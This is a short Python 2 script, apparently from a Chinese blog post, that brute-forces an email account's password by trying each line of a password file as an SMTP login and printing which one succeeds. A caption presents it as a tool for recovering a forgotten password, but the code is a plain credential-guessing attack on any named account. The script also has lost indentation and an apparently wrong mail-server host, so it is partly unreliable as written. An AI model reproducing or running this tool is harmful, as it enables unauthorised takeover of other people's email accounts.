import smtplib
import optparse
from time import sleep
def scanemail(username,passfile):
f=open(passfile,'r')
for line in f:
passwd=line.strip() #去掉换行符号
try:
s=smtplib.SMTP("smtp.google.com")
s.login(username,passwd)
print "sucessed!!![+]%s : %s" %(username,passwd)
break
except smtplib.SMTPException,e:
print "error: %s![-]%s : %s" %(e,username,passwd)
sleep(1) #这个等比较重要???
def main():
parser=optparse.OptionParser("usage:./prog.py"+"-u <username> -d <passwdfile>")
parser.add_option('-u',dest='uname',type='string',help='specify email name')
parser.add_option('-d',dest='passwdfile',type='string',help='specify dictionary file')
(options,args)=parser.parse_args()
if (options.uname==None) | (options.passwdfile==None):
print parser.usage
exit(0)
else:
uname=options.uname
passwdfile=options.passwdfile
scanemail(uname,passwdfile)
if __name__=='__main__':
main()
扫描邮箱密码(当你密码忘记的时候用的上啊)
最新推荐文章于 2022-03-22 10:11:06 发布